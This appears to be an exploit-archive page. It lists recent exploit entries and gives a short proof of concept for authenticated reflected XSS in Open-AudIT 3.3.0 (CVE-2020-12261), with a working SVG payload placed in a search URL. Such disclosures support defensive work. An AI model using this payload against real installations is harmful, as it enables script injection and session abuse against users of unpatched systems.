e031da05b0
7 changes to exploits/shellcodes StreamRipper32 2.6 - Buffer Overflow (PoC) OpenEMR 5.0.1 - Remote Code Execution Open-AudIT 3.3.0 - Reflective Cross-Site Scripting (Authenticated) Joomla! Plugin XCloner Backup 3.5.3 - Local File Inclusion (Authenticated) Pi-hole 4.4.0 - Remote Code Execution (Authenticated) WordPress Plugin Drag and Drop File Upload Contact Form 1.3.3.2 - Remote Code Execution
12 lines
No EOL
665 B
Text
12 lines
No EOL
665 B
Text
# Exploit Title: Open-AudIT 3.3.0 - Reflective Cross-Site Scripting (Authenticated)
|
|
# Date: 2020-04-26
|
|
# Exploit Author: Kamaljeet Kumar
|
|
# Vendor Homepage: https://opmantek.com/network-discovery-inventory-software/
|
|
# Software Link: https://www.open-audit.org/downloads.php
|
|
# Version: 3.3.0
|
|
# CVE : CVE-2020-12261
|
|
# POC:
|
|
Step 1: Login to Open-Audit
|
|
Step 2: Go to "http://192.168.0.4/open-audit/index.php/search/" and add this "<svg><animate onend=alert(1) attributeName=x dur=1s>" payload after the search, the URL look like: http://192.168.0.4/open-audit/index.php/search/<svg><animate onend=alert(1) attributeName=x dur=1s>
|
|
|
|
Then we get the XSS pop up. |